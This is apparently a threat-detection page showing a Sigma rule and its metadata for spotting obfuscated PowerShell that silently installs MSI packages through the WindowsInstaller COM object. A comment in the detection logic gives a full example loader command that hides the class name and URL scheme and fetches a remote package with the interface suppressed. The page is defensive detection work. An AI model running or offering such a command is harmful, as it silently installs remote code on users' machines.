Obfuscated PowerShell MSI Install via WindowsInstaller COM — Sigma Rule

Rule metadata and linked tags

Author: Meroujan Antonyan (vx3r). Source status: experimental; severity: high. Source dates: 2025-05-27 / not supplied.

{
  "category": "process_creation",
  "product": "windows"
}

Pinned original Sigma rule · Detection Rule License 1.1

Source SHA-256: 2c03568b9ef6e258ba91f8a5e7644c796ed44e9802833d7282f0b4093ae38a9c

Detection logic

Original source YAML. Source-tag agreement is not proof of complete semantic coverage. This rule has not been compiled for a SIEM backend or validated against live telemetry here.

title: Obfuscated PowerShell MSI Install via WindowsInstaller COM
id: 7b6a7418-3afc-11f0-aff4-000d3abf478c
status: experimental
description: |
    Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`).
    The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting
    malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection
    by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with
    hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.
references:
    - https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
    - https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457
author: Meroujan Antonyan (vx3r)
date: 2025-05-27
tags:
    - attack.stealth
    - attack.t1027.010
    - attack.t1218.007
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    # Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='htps://example.com/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')";
    selection_img:
        - Image|endswith:
              - '\powershell_ise.exe'
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'PowerShell_ISE.EXE'
              - 'PowerShell.EXE'
              - 'pwsh.dll'
    selection_cli:
        CommandLine|contains|all:
            - '-ComObject'
            - 'InstallProduct('
            - '.Insert('
            - 'UILevel'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

Original YAML and metadata in JSON

False positives

• Unknown

Source references

• https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
• https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
• https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457